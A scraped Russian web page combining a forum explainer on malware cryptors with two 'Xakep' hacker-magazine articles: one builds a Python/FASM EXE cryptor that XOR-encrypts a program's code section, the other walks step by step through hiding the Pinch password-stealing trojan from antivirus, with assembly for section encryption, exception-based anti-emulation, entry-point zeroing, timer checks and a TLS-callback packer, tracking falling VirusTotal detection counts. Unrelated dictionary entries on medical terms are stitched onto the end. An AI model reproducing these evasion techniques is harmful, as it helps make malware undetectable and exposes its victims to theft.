Криптор это что: Криптор — Википедия – Криптор — это… Что такое Криптор?

Содержание

Что такое крипторы и с чем их едят 🙂 | BLASTHACK

Криптор (от английского слова «Cryptor» – шифровщик) – это название одного из вида программных продуктов, которые используются программистами-вирусописателями для того, чтобы скрыть вредоносную сущность написанного ими программного обеспечения от антивирусных программ.
Криптор, используя шифрование программы, содержащей вирус, маскирует и защищает ее от антивирусных программ, которые работают методами поиска по сигнатурам.

Примеры крипторов:

Различают два вида крипторов: обычный и полиморфный. Обычные крипторы имеют статическую сигнатуру декриптора-расшифровщика, а у полиморфных данная сигнатура динамическая, и каждый раз при компиляции они (файлы, упакованные такими крипторами) выглядят по иному.
Как же работают крипторы? Все довольно просто: берется исходный оригинальный файл вредоносной программы, затем данная программа шифруется каким-либо криптором, при этом в начало вновь полученного файла записывается код для расшифровки программы. Чтобы было более понятно, объясним на простейшем примере: берется некая троянская программа и архивируется архиватором WinRAR, причем архивируется не просто так, а с парольной защитой. После выполнения данных действий ни одна антивирусная программа не сможет добраться до данного трояна, так как расшифровывать пароли к архивам они не умеют.



Здесь присутствует один небольшой подводный камень. Антивирусы добавляют в свои базы сигнатур коды расшифровки наиболее распространенных программ-крипторов, но если Вы создали какую-либо программу, которая совсем не является вирусом, а выполняет какие-либо только полезные действия, но при этом запаковали ее для уменьшения размера каким-либо популярным криптором, то зачастую может так случиться, что антивирус при попытке скопировать данную программу на компьютер или запустить ее начнет ругаться, что в данной программе содержится страшный вирус. Ну, от этого никуда не деться, если Вы пользуетесь общедоступными крипторами.


Вообще, по типу доступности крипторы подразделяют на Публичные (Public) и Приватные (Private).
Первый вид крипторов является общедоступным, они широко распространены на просторах Интернета и при наличии желания их может скачать любой пользователь. Основной отрицательной стороной таких крипторов является то, что по истечении совсем небольшого срока они начинают палиться практически всеми антивирусами (ведь антивирусные лаборатории тоже не дремлют и стараются отловить свежие виды крипторов, тем более как их не отлавливать, если они лежат в свободном доступе).
Со вторым же видом все не так просто. Эти крипторы доступны только избранному сообществу людей либо же их можно приобрести за вполне реальные деньги (электронные в основном). Данный тип крипторов является более устойчивым к проверке их антивирусами благодаря как постоянно совершенствующимся алгоритмам шифрования, так и постоянно обновляемому стабу. Что такое стаб, спросите Вы? Ответим. Стаб – та часть кода криптора, которая используется для расшифровки данных вредоносной программы, которая и была зашифрована данным криптором.



Часто в раделах форумов, где представлены крипторы, присутствуют аббревиатуры FUD и semiFUD. Расшифруем эти аббревиатуры, чтобы Вам было более понятно. Что же это такое.
1)FUD – Full Undetected – «полностью не определяется антивирусами»
2)semiFUD – Semi-full undetected – «почти не определяется антивирусами».

 

Ну, антивирус, погоди! Создаем EXE-криптор на Python’е — «Хакер»

Содержание статьи

Web мы спасли от антивирусов несколько месяцев назад. Это было нетрудно — область относительно новая, не освоенная. С исполнимыми же файлами антивирусы борются уже десятилетиями. Побороть EXE-модуль будет сложнее, но… мы справимся :).

 

Выпуск 1. Ознакомительный

Ты уже знаешь, что я считаю антивирусы абсолютно бесполезными — хотя бы по той причине, что они помогают только от самых примитивных зверьков, которые в условиях современного денежного малварьбизнеса встречаются не так часто. Современные злокодеры, подогретые денежными вливаниями, научились программировать довольно жестко, но есть у них одна маленькая проблема — криптовка — достаточно сложная штука, для написания которой нужны глубокие знания PE-формата, ассемблера и системного программирования. Из-за высокого «входного барьера» в этой области мало профессионалов.

И найти хорошего криптора ой как сложно.

Но решение проблемы есть! Как мы знаем, антивирусные компании обмениваются технической информацией и создают специальные ресурсы, посредством которых мы сами отсылаем им сэмплы (типа VirusTotal’а). Но ведь и вирмейкеры тоже могут обмениваться информацией! Необязательно палить приватные мазы — публичные технологии тоже сгодятся. Например, было бы круто, если бы в каком-то одном месте лежали функции для генерации PE-файла, генерации импорта, шифрования ресурсов, рабочие функции определения SandBox’ов, тогда мы могли бы создавать крипторы так же непринужденно, как домики из кубиков Лего.


Идеальным местом для обмена, наверное, будет GitHub, и туда я залью исходники написанного нами сегодня криптора — он будет доступен по адресу http://github.com/presidentua/ExePacker.

Кроме того, в решении проблемы здорово помогло бы использование высокоуровневых языков программирования. В паблике сейчас валяются исходники крипторов на С++ или VisualBasic’е, но ведь от этого проще не становится, поскольку разобраться в написанном коде — ой как непросто. На Python’е все выглядит в разы лучше, поэтому именно его мы сегодня и будем использовать. В общем, заложим фундамент этой благородной миссии. Присоединяйся!

 

Выпуск 2. PE-файл

Структура PE-файла довольно сложная, поэтому подробная документация будет ждать тебя на диске, а здесь я представлю твоему вниманию лишь избранные моменты.

PE-файл представляет набор разных служебных структур, связанных между собой, и набор данных, которые размещены в секторах. Загрузчик Windows’a читает структуры, обрабатывает их (например, импортирует DLL’ки) и потом передает управление на инструкцию, указанную в поле «Entry Point».

Теперь посмотрим, что же нужно нам сделать, чтобы изменить файл и при этом не испортить его.

 

Выпуск 3. Теоретический криптор

Для начала выберем файл, который будет у нас исполнять функции лабораторной мыши. Чтобы сделать приятное Андрюшку :), мы, пожалуй, будем издеваться над Putty.exe. Упрощенно его структура будет выглядеть так:

  1. Служебные данные
  2. Первая кодовая секция
  3. Другие секции с данными

Алгоритм криптора следующий. Создать две ассемблерные программы. Первая будет косить под обычную прогу и проверять, что мы не в эмуляторе, а потом передаст управление на вторую программу. Вторая же восстановит оригинальную структуру файла и передаст управление на оригинальную точку входа Putty. И записать эти программы в файл.

В результате получится следующая структура:



  1. Служебные данные
  2. Первая кодовая секция
    1. Наша первая программа, которая передаст управление на 4.2
    2. Шифрованный код первой секции
  3. Другие секции с данными
  4. Добавленная секция
    1. Часть кодовой секции, перезаписанной программой 2.1
    2. Вторая программа, которая оригинальный код из 4.1 поместит на 2.1, а потом расшифрует кодовую секцию и передаст на нее управление.

 

Выпуск 4. Практический криптор

Ну наконец-то мы добрались до сердца нашей статьи. Для работы криптора нам понадобится модуль pefile (будем использовать несколько модифицированную версию), и с помощью либы откроем Putty:

import pefile
pe = pefile.PE("putty.exe")

Теперь, если ты напишешь «print pe», то увидишь подробную инфу обо всех характеристиках файла, по этой инфе я советую искать нужные для изменения поля в файле. А о внутренней работе модуля обязательно прочитай во врезке. Теперь немного математики. У нас будут две программы, которые нужно внедрить в файл. Они будут занимать где-то по 512 байт каждая максимум. Поэтому для размещения добавим новую секцию в 1024 килобайт вызовом:

pe.add_last_section(size=1024)

Закриптуем первую секцию XOR’ом с ключом «1»:

pe.sections[0].xor_data(code=1)

Магия, правда? :). А теперь прикинь, что все это пришлось бы писать на С++!

Поскольку в начале программы будет наш код, то сохраним оригинальный код, скопировав его в последнюю секцию. Адрес первой секции в файле находится в переменной — pe.sections[0]. PointerToRawData, а последней, соответственно — в pe.sections[-1].PointerToRawData:

pe.data_copy(pe.sections[0].PointerToRawData, pe.sections[-1].PointerToRawData, 512)

Оригинальный код сохранен, и мы приступим к написанию первой программы. Конечно же, писать мы ее будем на ассемблере, используя FASM для компиляции. Создадим файлик pack.tpl.asm с содержанием:


use32
mov eax, {{ go }}
jmp eax

Ты, наверное, уже догадался, что это не готовый исходник, это лишь шаблон для шаблонизатора из TornadoWeb, а его мы уже отлично знаем, ведь именно его мы использовали при написании HTML-морфера. Сгенерируем первую программу:

asm = Template(open("pack.tpl.asm", "r").read()).generate(
go=pe.OPTIONAL_HEADER.ImageBase + pe.sections[-1].VirtualAddress+512,
)
with open("pack.asm", "w") as f:
f.write(asm)
os.system(r"c:fasmwFASM.EXE pack.asm")

В переменной go мы передаем адрес в памяти, где будет наша вторая программа — то есть, в последней секции, начиная с 512 байта. А в последней строчке компилим результат на FASM’е. Теперь запишем получившийся код в начало первой секции:

new_pack = open("pack.bin", "rb").read()
pe.data_replace(offset=pe.sections[0].PointerToRawData, new_data=new_pack)

Вторую программу запишем в файл copy.tpl.asm. Размер у нее более внушительный, поэтому полный код смотри на диске. Там содержится два цикла, один скопирует 512 байт оригинальной программы с последней секции в первую, а второй цикл расшифрует всю первую секцию. После этого передается управление на оригинальную программу.

При компиляции темплейта нужно передать туда параметры для циклов копирования и расшифровки:

copy_from = pe.OPTIONAL_HEADER.ImageBase+pe.sections[-1].VirtualAddress
copy_to = pe.OPTIONAL_HEADER.ImageBase+pe.sections[0].VirtualAddress
oep = pe.OPTIONAL_HEADER.ImageBase+pe.OPTIONAL_HEADER.AddressOfEntryPoint
asm = Template(open("copy.tpl.asm", "r").read()).generate( copy_from=copy_from, copy_to=copy_to, copy_len=512, xor_len=pe.sections[0].Misc_VirtualSize, key_encode=1, original_oep=oep,)

Остался маленький штришок — записать вторую прогу в файл и сделать первую секцию записываемой, чтобы расшифровщик не выдавал ошибок, а также установить точку входа на начало первой секции:


new_copy = open("copy.bin", "rb").read()
pe.data_replace(offset=pe.sections[-1].PointerToRawData+512, new_data=new_copy)
pe.sections[0].Characteristics |= pefi le.SECTION_CHARACTERISTICS["IMAGE_SCN_MEM_WRITE"]
pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.sections[0].VirtualAddress
pe.write(fi lename="result.exe")

 

Выпуск 5. Завершающий

Если собрать кусочки кода вместе, то будет у нас всего 50 строк. Всего лишь 50 — и криптор готов! А теперь прикинь, сколько строк содержала бы программа на С? Конечно, это еще далеко не готовый продукт, над ним нужно работать и работать. Чтобы довести систему до реального криптора, нужно добавить как минимум шифрование ресурсов и импорта, а также антиэмуляцию. О том как теоретически эти проблемы решить, смотри во врезках. Удачи!

 

Желательный функционал 1. Обход песочниц

В крипторе нужно делать проверки на запуск в виртуальной машине, SandBox’е или анализаторе типа анубиса. Чтобы их зедетектить, нужно провести небольшое исследование и написать программу, которая будет на экран выводить разные внутренние параметры системы, а дальше — проверить этот файл на том же анубисе и в скриншоте посмотреть параметры, которые показала наша прога. Дальше все просто — при запуске на системе с подобными параметрами — просто уходим в цикл.

 

Обязательный функционал 2. Шифрование ресурсов и импорта

Для шифрования ресурсов мы должны пройтись по секции ресурсов и сохранить оттуда важные для запуска файла — иконки и манифест. Дальше создаем новые ресурсы с важными ресурсами, а остальное шифруем. После запуска криптора восстанавливаем все обратно.

Несколько сложнее получается с импортом, ведь его также нужно сначала зашифровать, потом сгенерировать липовый импорт, но после восстановления импорт еще нужно вручную проинициализировать, то есть — загрузить DLL’ки и сохранить в таблицу импорта реальные указатели на функции.

 

Обязательный функционал 1. АнтиЭмуляция

Кроме избавления от внешних сигнатур, очень важно, чтобы антивирус в своем эмуляторе не добрался до исходного файла. Для этого нужна антиэмуляция. Раньше были очень популярны приемы, основанные на предположении, что эмулятор не понимает все инструкции процессора. Сейчас же ситуация изменилась, и самые эффективные приемы основаны на использовании Windows API. Согласись, что антивирус вряд ли сможет эмулировать все API.

Вот тебе такая идейка для реализации:

  • создаем Windows-приложение и один дополнительный поток;
  • после создания потока он должен послать через API сообщение основному потоку с каким-то ключом;
  • в главной программе проверяем, и если ключ правильный — передаем управление на код расшифровки основного файла;
  • если код неправильный, то просто ничего не делаем и находимся в вечном цикле получения сообщений от Windows.

PS:Никогда не останавливай программу с ошибкой, это лишь прибавит криптору лишний вес. Вечный цикл получения сообщений от Windows — лучший способ.

 

Внутренности Антивирусов

В упрощенном виде, антивирус — это набор правил (сигнатур) и система, которая проверяет файл по этим правилам.

К примеру, пусть в антивирусе будут такие сигнатуры:

  • секция с кодом, записываемая +10;
  • после запуска прописывается в авторан +30;
  • вторая секция с именем Zeus +30;
  • меньше 4 энтропия кодовой секции +20;
  • есть сертификат от майкрософта -10.

Дальше антивирь проверяет те правила, которые возможно проверить без запуска EXE, потом в эмуляторе запускает файл и проверяет все остальные правила. А после этого подсчитывает сумму, если она больше 100, значит вирус, если меньше — значит не вирус.

 

Как работает pefile

При загрузке в pefile экзэхи, библиотека сохраняет сам файл в pe.data, а потом обрабатывает его и создает массив структур pe.structures. Структура — это объект, у которого есть адрес. Адрес, по которому она находится в файле, и есть набор полей.

При сохранении файла pe.write(filename=»result. exe») либа проходит по всем структурам и сохраняет их по указанным адресам. Чтобы что-то добавить, например, в ту же секцию, нам сначала нужно найти адрес в памяти. Это можно посчитать так: адрес в памяти последней секции + размер секции. Дальше заполняем все поля в структуре и добавляем ее в массив pe.structures. Вот и все :).

 

Links

Профессиональные приемы обхода антивирусов — «Хакер»

Содержание статьи

Странно осознавать, что многие люди, создающие трояны, вирусы или использующие готовые решения-генераторы, нередко обращаются к услугам создателей «приватных крипторов», нередко оказывающихся обычными поделками студентов, обладающих весьма посредственными знаниями в области вирусмейкинга, имеющих слабое представление о структуре PE-файлов. Такой продукт может стоить десятки или даже сотни долларов, но при этом не обеспечивать даже минимальной защиты от разнообразных механизмов обнаружения вредоносных программ. А ведь достаточно легко самостоятельно спрятать троян от назойливых антивирусов, даже таких известных, как NOD и Dr. Web. И совершенно бесплатно! Как? Читай ниже!

 

Подготовка к исследованиям

Перед тем, как приступить к работе, давай определимся с арсеналом инструментов. Во-первых, криптовать будем давным-давно известный всем антивирусам Pinch (я намерено выбрал именно этот троян для исследований, поскольку билдеры для его построения и описание его конфигурации легко найти в Сети). В статье я опущу моменты, связанные с генерацией тела программы и созданием веб-админки для проверки работоспособности пинча (все необходимое для экспериментов, в том числе и руководства, ты можешь найти в зашифрованном RAR-архиве на нашем DVD). Один из главных инструментов исследователя вирусов – виртуальная машина VMWare с установленной Windows XP (данное требование необязательно, однако очень желательно не экспериментировать с вредоносным ПО на собственной машине). Кроме прочего, нам понадобятся отладчик OllyDbg, редактор WinHex, утилита для работы с PE-файлами LordPE. Ну и, разумеется, virustotal.com для тестов. Да, там сидят аналитики, и пользоваться услугами этого сайта для создания «невидимого» вируса – сущее безумие, однако в наши планы не входит нарушение закона. Мы – исследователи, поэтому пусть высоколобые реверсеры копаются в нашем коде на здоровье и работают над улучшением собственных продуктов. Остальное – по вкусу и в зависимости от личных предпочтений. Итак, задраиваем люки и погружаемся в отладку. Будет интересно!

 

Прячем код

Сначала обратимся к тривиальным и давно известным нам методам сокрытия кода – шифровке секции по константе. В своих статьях я уже не раз обращался к подобному коду. Удивительно, но простой XOR машинных кодов, находящихся в секции кода, позволяет избавиться от внимания аж четверти антивирусных программ! Итак, откроем сгенерированный файл пинча (pinch.exe) в отладчике. Точка входа по умолчанию равна 13147810. По адресу 13147C26 начинается поле сплошных нулей, оставленное компилятором для выравнивания секции. Нам это на руку – здесь мы будем размещать наш код. Итак, взгляни на вид криптора:

13147C30 PUSHAD
13147C31 MOV ECX,6C2F
13147C36 MOV EDX,DWORD PTR DS:[ECX+13141000]
13147C3C XOR EDX,76
13147C3F MOV DWORD PTR DS:[ECX+13141000],EDX
13147C45 LOOPD SHORT pinch_pa.13147C36
13147C47 POPAD
13147C48 JMP SHORT pinch_pa.13147810

Вносим изменения в файл программы (меню правой кнопки мыши, «copy to executable-all modifications», в появившемся окне выбери из меню правой кнопки пункт «Save file»). После того, как изменения внесены, идем в LordPE, изменяем точку входа в программу на новую (новое значение OEP равно 13147C30, именно здесь и обосновался наш код) и сохраняем программу. Но и это еще не все; снова открываем программу в OllyDbg, выполняем код, внесенный нами (для этого ты можешь установить точку останова по адресу 13147C48 и выполнить программу, нажав Shift+F9). Таким образом, наш набор инструкций шифрует 6C2F байт. Теперь программу необходимо снова сохранить. Готово! Мы получили вполне работоспособный зашифрованный пинч. Идем на virustotal.com, загружаем файл и дожидаемся результатов анализа. Удивительно, но только 31 из 43 антивирусов распознали вредоносный код (на незашифрованный пинч «ругаются» почти все – 42 из 43)! Двигаемся дальше.

Продолжим наш эксперимент. Попробуем использовать механизм создания собственного обработчика исключений для выполнения одного из приемов, описанных мной на страницах журнала ранее. Поскольку метод «разжеван», мы лишь адаптируем код для нашего случая, его функциональность полностью раскрывается в комментариях (если что-то все-таки осталось неясным, отправляю тебя к рубрике «Антиотладочные приемы» за октябрь 2009 года).

13147C4B XOR EAX,EAX; обнуляем регистр
13147C4D PUSH pinch_pa.13147C62; помещение адреса нового обработчика в стек
13147C52 PUSH DWORD PTR FS:[EAX]; помещение адреса старого обработчика в стек
13147C55 MOV DWORD PTR FS:[EAX],ESP; помещение в FS:[0] указателя на структуру
13147C58 CALL pinch_pa.13147C58; генерация исключения путем переполнения стека
13147C5D JMP pinch_pa.13145555; данная инструкция никогда не будет исполнена
13147C62 POP EAX; восстановление регистров
13147C63 POP EAX
13147C64 POP ESP
13147C65 JMP pinch_pa.13147810; переход к выполнению программы

Кратко описать функционал кода можно следующим образом: мы создаем новый обработчик исключений и размещаем его по адресу 13147C62. Эмуляторы кода, которые неспособны должным образом определить логику выполнения программы, полагают, что вслед за бесконечной рекурсией по адресу 13147C58 произойдет передача управления на следующую инструкцию (JMP pinch_pa.13145555), в результате чего направляют дальнейшее исследование логики выполнения кода по неверному пути. На самом же деле, стек переполняется, вызывается исключение, а программа благополучно продолжает свою работу. Действуя таким образом, мы отметаем еще четыре антивируса (только 27 из 43 утилит справились с задачей и распознали вредоносный код).

Итак, мы отправили на прогулку лесом едва ли не половину антивирусов – что же дальше? Теперь мы займемся более изощренными способами антиотладки и простейшей антиэмуляции.

 

Продолжаем эксперимент

Возможно, многим покажется, что описанного выше уже достаточно, чтобы успешно распространять троянские программы, ведь шансы быть обнаруженными мы сократили вдвое. Это верно, однако мы отсекли лишь самые убогие антивирусы, которые совершенно не отвечают требованиям времени. В ходе экспериментов я выяснил, что и с мощной эмуляцией кода можно справиться, причем достаточно легко!

Для разминки, вставим в подопытный пинч несколько небольших кусков кода, которые «закроют глаза» нескольким антивирусам (а заодно и многим реверсерам низкой квалификации). По адресу 13147C90 я разместил криптор, аналогичный вышеописанному, который шифрует написанный нами антиотладочный код (4Ch байт, начиная с адреса 13147C30). На диске ты найдешь его код, здесь же его привести не позволяет объем статьи. Таким образом, мы скрыли от некоторых эвристических механизмов некоторые детали нашего механизма, усложнив работу необходимостью многоступенчатой распаковки.

13147C90 - NEW OEP
length of code 4c

13147c30 - start of code
13147c7c -end of code

13147C90 60 PUSHAD
13147C91 B9 4C000000 MOV ECX,4C
13147C96 8B91 307C1413 MOV EDX,DWORD PTR DS:[ECX+13147C30]
13147C9C 83F2 54 XOR EDX,54
13147C9F 8991 307C1413 MOV DWORD PTR DS:[ECX+13147C30],EDX
13147CA5 ^E2 EF LOOPD SHORT kadabra_.13147C96
13147CA7 61 POPAD
jmp 13147c30

Существует очень любопытный прием, который дает очень хороший эффект, вводящий в ступор некоторые отладчики и антивирусы. Имя ему – обнуление точки входа. Действительно, совсем неправдоподобной выглядит ситуация, когда PE-заголовок, располагающийся по нулевому смещению относительно ImageBase, является одновременно исполняемым кодом. Однако она более чем возможна. Открой отлаживаемый файл в WinHex и взгляни на байты данных, располагающиеся в самом начале файла: 4D 5A 00 00 (да-да, это та самая буквенная сигнатура «MZ», расположенная в начале PE-файла!). Взглянув на этот же PE-заголовок в отладчике (для этого нужно перейти по адресу 13140000h), мы увидим следующую картину:

13140000 4D DEC EBP
13140001 5A POP EDX
13140002 0000 ADD BYTE PTR DS:[EAX],AL
13140004 0100 ADD DWORD PTR DS:[EAX],EAX

...
13140028 0000 ADD BYTE PTR DS:[EAX],AL

Кажется, первые две инструкции вполне безобидны и могут быть выполнены без риска «уронить» программу. К сожалению, следом за ними располагается лишь два нулевых байта, а испортить MZ-заголовок, записав межсегментный пятибайтный переход на антиотладочный код, мы не можем. Подумав с полминуты, можно найти верное решение. Взгляни на 13140028. Здесь можно найти гораздо больше пяти нулевых байт. Слон здесь вряд ли поместится, но длинный переход – вполне! Итак, действуем следующим образом: меняем нулевые байты, начиная с адреса 13140002, на следующую инструкцию:

13140002 EB 24 JMP SHORT 13140028

а байты, расположенные по адресу 13140028, на следующий код:

13140028 -E9 637C0000 JMP 13147c90

После выполненных процедур остается лишь сохранить программу, открыть ее на редактирование в LordPE и обнулить поле «EntryPoint». Итак, все работает, и еще два антивируса сдались: теперь лишь 25 из 43 находят в нашем подопытном образце опасный код.

Исследования показали, что пинч содержит четыре секции, две из которых – .conf и .data – содержат данные, которые могут быть рассмотрены антивирусами в качестве константы и занесены в сигнатурную базу. Поэтому необходимо зашифровать и их.

Для этого полностью убираем код раскриптовки, заменяя его в OllyDbg на нули, и видим, что наш образец все равно палится как пинч! Делаем вывод, что либо антивирусы методом перебора видят наш код, либо проверяют image base. Пробуем изменить Image base – и, действительно, отметаем еще четыре антивируса.

 

Lost in Time, или Dr. Web, не считающий время

Представь ситуацию: мы располагаем тысячей программ, каждая из которых использует 15-секундный таймер. Суммарное время задержки выполнения кода составит, что несложно подсчитать, 15000 секунд, или около четырех часов. Таким образом, если антивирусный алгоритм в своей работе по-настоящему эмулирует таймер, анализ тысячи подобных файлов займет у него вышеуказанное время. Конечно, реальная эмуляция таймеров – нонсенс, и многие алгоритмы просто-напросто нужным образом изменяют регистры или стек контекста процесса, если встречают одну из API-функций, выполняющих задержку выполнения программы. Но все ли антивирусы настолько хороши? Проверим на практике.

Попробуем использовать таймер в своих целях, чтобы сравнять с землей эмуляцию кода. Итак, наш план – использовать два замера времени, в промежутке между которыми будет «тикать» таймер. Впоследствии мы используем два временных штампа, чтобы вычислить разность между ними. Разность эта в дальнейшем будет нами использоваться для того, чтобы изменить логику работы защитного механизма.

Для того, чтобы засечь время, используем API-функцию GetLocalTime, которая записывает по указанному в стеке адресу следующую 16-байтную структуру:

typedef struct _SYSTEMTIME {
WORD wYear; // Год
WORD wMonth; // Месяц
WORD wDayOfWeek; // День недели
WORD wDay; // День месяца
WORD wHour; // Часы
WORD wMinute; // Минуты
WORD wSecond; // Секунды
WORD wMilliseconds; // Миллисекунды
} SYSTEMTIME;

Условимся, что для хранения двух структур, полученных в результате пары вызовов GetLocalTime, будем использовать области памяти, начинающиеся, соответственно, с адресов 13147D7D и 13147D94. Функция Sleep(), входящая в Kernel32, инициирует «заморозку» выполнения программы, принимая параметр, выраженный в миллисекундах, через стек. Используя эти условия, напишем следующий код:

13147CFA PUSH kadabra_.13147D7D; записываем в стек первый адрес
13147CFF CALL kernel32.GetLocalTime; получаем первый временной штамп
13147D04 PUSH 3E8; задержка таймера – 1000 миллисекунд, или 1 секунда
13147D09 CALL kernel32.Sleep; запуск таймера
13147D0E PUSH kadabra_.13147D94; записываем в стек второй адрес
13147D13 CALL kernel32.GetLocalTime; получаем второй временной штамп

В результате выполнения получаем две 16-байтных заполненных структуры, каждая из которых записана, начиная с адреса, определенного нами выше:

[год][месяц][день недели][День месяца] [Часы] [Минуты] [Секунды][Миллисекунды]

13147D7D: DA 07 0A 00 02 00 0C 00 0D 00 0C 00 31 00 B1 03

13147D94: DA 07 0A 00 02 00 0C 00 0D 00 0D 00 04 00 B1 03

Обрати внимание: нас интересуют только значения, соответствующие секундам. Мы заставили программу «спать» ровно 1 секунду, а это значит, что разница между двойными словами, записанными в ячейках [13147d7d+С] и [13147D94+С], не должна быть больше или меньше единицы (в абсолютном большинстве случаев). Этот факт должен помочь нам побороть эмуляторы кода, пропускающие таймеры. Но как использовать полученное значение? Мы посчитаем разницу и используем ее для вычисления адреса перехода. Если эта разница будет посчитана неверно (что означает, что код эмулируется, причем неверно), то выполнение программы полетит ко всем чертям, но это нас не волнует :). Итак, получим приблизительно следующий код:

13147CF9 ;Код получения временных штампов (приведен выше)
13147D18 MOV AL,BYTE PTR DS:[13147D89]; первое значение помещаем в AL
13147D1D MOV AH,BYTE PTR DS:[13147DA0]; второе значение помещаем в AH
13147D23 SUB AH,AL; получаем разность значений
13147D25 XOR EBX,EBX; обнуляем EBX
13147D27 MOV BL,AH; перемещаем разность в EBX
13147D29 ADD EBX,13147C29; вычисляем адрес перехода
13147D2F JMP EBX; переходим по вычисленному адресу

Наверное, ты уже догадался, что адрес, который помещается в EBX, должен быть равен 13147C30. Однако, как показывает практика, не все идеально, особенно если речь идет об эмуляции кода. Благодаря несложным манипуляциям мы получаем великолепный результат: эмуляция Dr. Web разваливается на глазах! :). Вместе с ним отступают и еще два антивиря – это не может не радовать нашу душу. Всего 22 из 43 антивирусов продолжают подозревать нашу программу в чем-то нехорошем.

 

Последние штрихи

Когда я писал статью, я заметил, что в веб-интерфейс пинча стали приходить странные однообразные отчеты. Сначала мне показалось, что эти отчеты присланы с виртуальной машины, созданной мной, но потом понял, что это не так: все они были созданы на машинах с различной конфигурацией. В конце концов я понял, что это – результат запусков на машинах экспертов, которые пользуются virustotal’ом для анализа новых угроз. Мои опасения подтвердились, когда я увидел, что количество антивирусов, распознавших в зашифрованном мной файле угрозу, увеличилось, хотя и ненамного. Тогда я решил «обернуть» вокруг защиты, созданной мной, еще один «слой»-пакер, запускаемый из TLS. Для чего? Это позволит усложнить жизнь механизмам, использующим сигнатуры. Кроме того, на месте TLS-функции может быть любой алгоритм, кодирующий произвольный участок файла, что позволяет малыми усилиями полностью изменить содержание файла, скрыв «узнаваемые» места. Мало того, использование callback-функций само по себе является достаточно неплохим средством усложнения защитного механизма.

Думаю, что ты читал о TLS (Thread Local Storage)-callback-функциях достаточно (в частности, Крис посвятил TLS отдельную статью, опубликованную в одном из номеров нашего журнала), однако напомню о том, что они собой представляют, опуская описание широчайших возможностей их использования. Callback-функции выполняются непосредственно после инициализации программы загрузчиком, еще до остановки на OEP. Информация обо всех таких функциях содержится в специальной таблице, а адрес таблицы, в свою очередь, извлекается загрузчиком из специального поля PE-заголовка.

Попробуем создать таблицу TLS-функций для нашей программы (к написанию кода callback-функции приступим чуть позже). Структура ее, имеющая размер шестнадцати байт, проста. Первые два двойных слова используются для записи адресов начала и конца выделяемой для потока области данных. В качестве этих значений мы выберем два произвольных адреса (13147d80 и 13147d90), лежащих в пределах области выравнивания секции .text, оставленной компилятором. Оставшиеся два DWORD’а – это, соответственно, поле для записи индекса, возвращаемого callback-функцией (13147d96), и адрес таблицы callback-функций (13147da0).

Так выглядит код получившейся TLS-таблицы: 80 7d 14 13 90 7d 14 13 96 7d 14 13 a0 7d 14 13. Разместим его по адресу 13147d5d при помощи отладчика (запомним адрес – он нам еще понадобится).

Приступим к созданию кода таблицы TLS-функций.

Переходим к адресу 13147da0, выделяем 6 байт, выбираем из контекстного меню команду «Binary -> Edit». Вводим значение «13 14 7d b0 00 00». Первые 4 байта указывают на адрес callback-функции. Последние два нулевых байта указывают на окончание таблицы callback-функций.

По адресу 13147db0 разместим саму функцию, шифрующую все наши ранее созданные крипторы, а также код по второму кругу:

13147DB0 PUSHAD; сохраняем регистры в стек
13147DB1 MOV ECX,6D2F; устанавливаем счетчик
13147DB6 MOV DH,BYTE PTR DS:[ECX+13141000];помещаем в DH текущий байт секции
13147DBC XOR DH,CL; выполняем логическое сложение с младшим байтом счетчика
13147DBE MOV BYTE PTR DS:[ECX+13141000],DH; помещаем закодированный байт в память
13147DC4 LOOPD SHORT 13147DB6; повторяем цикл
13147DC6 POPAD; восстанавливаем регистры
13147DC7 RETN; возвращаемся из функции

Полагаю, ты помнишь, что после внесения кода в файл необходимо выполнить его, чтобы он закодировал инструкции, после чего следует сохранить измененный файл прямо из-под OllyDbg.

Последний штрих – внесение сведений о TLS-директории в PE-заголовок. Открываем LordPE и правим в таблице директорий значение TLS Address на 00005d7d (разумеется, это же можно сделать и средствами OllyDbg). Кстати, если ты хочешь отлаживать TLS, чтобы не «пролетать» мимо выполнения callback-функций, нажми в OllyDbg Alt+O и в появившемся меню выбора места, где отладчик будет останавливаться при загрузке программы, укажи «System Breakpoint» (цель этого действия ясна, ведь TLS callback’и выполняются еще до попадания на точку входа!).

Проверим закодированный файл на virustotal.com. Нас ждет радостное известие – всего лишь 18 из 43 антивирусов распознают вредоносный код! Итак, на момент тестирования «сдались» такие маститые охотники за червями и малварью, как DrWeb, Panda, NOD32, TrendMicro-HouseCall, VBA32, ViRobot, VirusBuster, Sunbelt 7048, F-Secure, BitDefender, eSafe и многие другие.

Я намерено не стал доводить нашу криптовку до победного конца. Придумывай новые методы обмана, внедряй в наш образец и таким образом обманывай новые антивирусы. Удачи в благих делах!

криптор — это… Что такое криптор?

  • Криптор — Криптор (от англ. Cryptor шифровщик) название ряда программ для криптозащиты, используемых преимущественно вирусописателями и хакерами для маскировки вредоносного программного обеспечения. Криптор, шифруя программу, обеспечивает защиту… …   Википедия

  • криптор — сл. программа шифровщик файлов …   Hacker’s dictionary

  • программа — См …   Словарь синонимов

  • шифровщик — шифровальщик, кодировщик Словарь русских синонимов. шифровщик сущ., кол во синонимов: 3 • кодировщик (3) • …   Словарь синонимов

  • ДИСПЛАЗИЯ АРСКОГА-СКОПА — мед. Дисплазия Арскога Скотта низкорослость, макроцитар ная анемия, гемохроматоз, гепатомегалия, портальный цирроз, дефекты костей и суставов, стигмы дизэмбриогенеза. Генетические аспекты. Известны фенотипы: 91 (100050, сильное влияние пола), К… …   Справочник по болезням

  • КРИПТОРХИЗМ — мед. Крипторхизм отсутствие одного или обоих яичек в мошонке. В норме яичко опускается в мошонку на 9 мес внутриутробного развития. Незавершённое опущение яичка у новорождённых в большинстве случаев ликвидируется в первые недели внеутробного… …   Справочник по болезням

  • ГОЛОВОКРУЖЕНИЕ — (лат. vertigo), не может считаться самостоятельной болезненной формой, но наблюдается как, симптом при разнообразных заболеваниях. Г. есть своеобразное состояние сознания, сопровождающее расстройство равновесия тела. Оно может быть… …   Большая медицинская энциклопедия

  • СКОПЧЕСТВО — СКОПЧЕСТВО, христианская секта, возникшая впервые в 3 в. нашей эры в Палестине. Основателем ее был аравийский философ Валезий. Существенной частью этого вероучения являлось удаление или изуродование половых органов. Появление секты С. в России… …   Большая медицинская энциклопедия

  • ЕВНУХОИДИЗМ — ЕВНУХОИДИЗМ, ЕВНУХОИД руют, и только потом их деятельность прекращается (абиотрофия). П а т. анатомия плохо изучена. Tunica albuginea яичек толста, семенные канальцы плохо развиты (напоминают канальцы у детей), клетки плохо диференцированы,… …   Большая медицинская энциклопедия

  • «Что такое криптография, и где она применяется?» – Яндекс.Знатоки

